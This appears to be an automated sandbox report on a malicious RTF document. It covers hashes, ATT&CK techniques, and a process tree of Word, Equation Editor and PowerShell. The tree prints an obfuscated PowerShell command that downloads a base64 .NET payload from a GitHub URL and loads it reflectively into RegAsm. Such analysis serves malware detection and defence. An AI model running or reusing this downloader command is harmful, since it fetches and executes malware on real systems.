8f76e86093d71f34c2e6f824984034185964f3d15c28df1b61adf5165fbb212e

General

Target

8f76e86093d71f34c2e6f824984034185964f3d15c28df1b61adf5165fbb212e.rtf
Size

67KB
MD5

c9ac55d64a51738b57f065449c7e3911
SHA1

7b9dd5b4e76e99d711b0fe11582e6ff06d9ca830
SHA256

8f76e86093d71f34c2e6f824984034185964f3d15c28df1b61adf5165fbb212e
SHA512

6d78c5a5cfc7fa34942e87ceae41d6e97debaa9469831ffbc4482c9fc1b531a171b1a12fe6ff3902b8919aee94bdf619cd0b43daba07166d9e47042a9eaf8e60
SSDEEP

768:ZD+xsejlud5HY1ayCyu7OHAzlzjRYEX4Bo:ZGjE3qy7OglR9XWo

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2428	EQNEDT32.EXE
6	2684	powershell.exe
7	2684	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe
2684	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2428	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2360	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2912	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2360	WINWORD.EXE
2360	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 2824	2428	EQNEDT32.EXE	32
PID 2428 wrote to memory of 2824	2428	EQNEDT32.EXE	32
PID 2428 wrote to memory of 2824	2428	EQNEDT32.EXE	32
PID 2428 wrote to memory of 2824	2428	EQNEDT32.EXE	32
PID 2824 wrote to memory of 2912	2824	WScript.exe	34
PID 2824 wrote to memory of 2912	2824	WScript.exe	34
PID 2824 wrote to memory of 2912	2824	WScript.exe	34
PID 2824 wrote to memory of 2912	2824	WScript.exe	34
PID 2912 wrote to memory of 2684	2912	powershell.exe	37
PID 2912 wrote to memory of 2684	2912	powershell.exe	37
PID 2912 wrote to memory of 2684	2912	powershell.exe	37
PID 2912 wrote to memory of 2684	2912	powershell.exe	37
PID 2360 wrote to memory of 2892	2360	WINWORD.EXE	38
PID 2360 wrote to memory of 2892	2360	WINWORD.EXE	38
PID 2360 wrote to memory of 2892	2360	WINWORD.EXE	38
PID 2360 wrote to memory of 2892	2360	WINWORD.EXE	38

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8f76e86093d71f34c2e6f824984034185964f3d15c28df1b61adf5165fbb212e.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2892

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\niceworkwithpcitureupdateson.vBS"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR1YgJyptRHIqJykubmFNZVszLDExLDJdLUpvaU4nJykoICgoJ3sxfXVybCA9IHswfWh0dCcrJ3BzJysnOi8nKycvcmF3LmcnKydpdCcrJ2h1YnVzZXJjb250JysnZW50JysnLmNvJysnbS9Ob0RlJysndGVjJysndE9uJysnL04nKydvRCcrJ2UnKyd0ZWN0JysnT24vcmVmcycrJy9oZWFkcy8nKydtYWluJysnL0RldGEnKydoTm8nKyd0aC1WLnR4dHswfTsgezEnKyd9JysnYicrJ2FzZTY0Q29udGVudCA9IChOZXcnKyctT2InKydqZWMnKyd0IFMnKyd5JysncycrJ3RlbS5OZXQnKycuV2ViJysnQ2xpZScrJ250KS4nKydEb3dubG8nKydhZFN0cicrJ2luZyh7JysnMX11JysncmwpOyB7MX1iJysnaW4nKydhcnlDb250ZW50ID0gWycrJ1N5c3QnKydlJysnbS4nKydDbycrJ252ZXInKyd0JysnXScrJzo6JysnRnJvbUJhJysnc2U2JysnNFMnKyd0JysncmknKyduZyh7JysnMScrJ31iYScrJ3NlJysnNjRDb250JysnZScrJ24nKyd0KTsgezF9YScrJ3NzZW1ibHkgPSBbJysnUmUnKydmbGVjdCcrJ2knKydvbicrJy4nKydBc3NlbScrJ2InKydseV0nKyc6OicrJ0xvJysnYWQoJysnezF9YicrJ2luYXInKyd5Q29udGUnKydudCk7IFtkbmwnKydpYi5JTy4nKydIb21lXScrJzo6JysnVkEnKydJKHsyfXR4JysndC5CR0YnKydSLycrJzAnKycxJysnNS84LjcuOCcrJzYxLjQwMS8vJysnOnB0dGh7Mn0sIHsnKycyJysnfScrJ2QnKydlc2EnKyd0aXZhZG97Mn0nKycsIHsyfWRlJysncycrJ2F0aXZhZCcrJ28nKyd7MicrJ30sIHsyJysnfWRlcycrJ2F0JysnaXZhJysnZG97JysnMn0nKycsIHsyfVInKydlJysnZ0FzbXsnKycyfSwgezInKyd9ezJ9LCcrJ3snKycyJysnfScrJ3syfSknKS1mIFtjSEFSXTM5LFtjSEFSXTM2LFtjSEFSXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GV '*mDr*').naMe[3,11,2]-JoiN'')( (('{1}url = {0}htt'+'ps'+':/'+'/raw.g'+'it'+'hubusercont'+'ent'+'.co'+'m/NoDe'+'tec'+'tOn'+'/N'+'oD'+'e'+'tect'+'On/refs'+'/heads/'+'main'+'/Deta'+'hNo'+'th-V.txt{0}; {1'+'}'+'b'+'ase64Content = (New'+'-Ob'+'jec'+'t S'+'y'+'s'+'tem.Net'+'.Web'+'Clie'+'nt).'+'Downlo'+'adStr'+'ing({'+'1}u'+'rl); {1}b'+'in'+'aryContent = ['+'Syst'+'e'+'m.'+'Co'+'nver'+'t'+']'+'::'+'FromBa'+'se6'+'4S'+'t'+'ri'+'ng({'+'1'+'}ba'+'se'+'64Cont'+'e'+'n'+'t); {1}a'+'ssembly = ['+'Re'+'flect'+'i'+'on'+'.'+'Assem'+'b'+'ly]'+'::'+'Lo'+'ad('+'{1}b'+'inar'+'yConte'+'nt); [dnl'+'ib.IO.'+'Home]'+'::'+'VA'+'I({2}tx'+'t.BGF'+'R/'+'0'+'1'+'5/8.7.8'+'61.401//'+':ptth{2}, {'+'2'+'}'+'d'+'esa'+'tivado{2}'+', {2}de'+'s'+'ativad'+'o'+'{2'+'}, {2'+'}des'+'at'+'iva'+'do{'+'2}'+', {2}R'+'e'+'gAsm{'+'2}, {2'+'}{2},'+'{'+'2'+'}'+'{2})')-f [cHAR]39,[cHAR]36,[cHAR]34))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e10274163a8e2128e35666f61ca87d62

SHA1
2e31b18c29e06944f61b7a830e504cfabff8892f

SHA256
c2367a9e38f2bb77f26bf53b37ffedffb4dc61339db503fe7363aa533a4237ef

SHA512
8cff28b45c6184c192906dedab4994daa38f1579f4ce7d9e45e1382827f962a72e550c64533690ff95716de0fe7536eebbf7ddde51b2a9c39885ee87c06a7f6e

Download Submit
C:\Users\Admin\AppData\Roaming\niceworkwithpcitureupdateson.vBS

Filesize
250KB

MD5
09386235b48255a0b5b5ee106428a9dd

SHA1
aaed31297121e1fce8222d417ef8bc90471af3de

SHA256
5e78d2baed8277aff8d71f752f4ca00621b6b487a022a942383883a6791364d2

SHA512
760e43b96ea2d455b414ed9fbceb6b4ba3cf264e9b86015327db20e3f1ecfeb5210738c9543c26b0ca270fe92170932add452e9935ccd218a65fe76918bb3051

Download Submit
memory/2360-0-0x000000002FA21000-0x000000002FA22000-memory.dmp

Filesize
4KB

Download
memory/2360-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2360-2-0x0000000070B5D000-0x0000000070B68000-memory.dmp

Filesize
44KB

Download
memory/2360-23-0x0000000070B5D000-0x0000000070B68000-memory.dmp

Filesize
44KB

Download

Analysis

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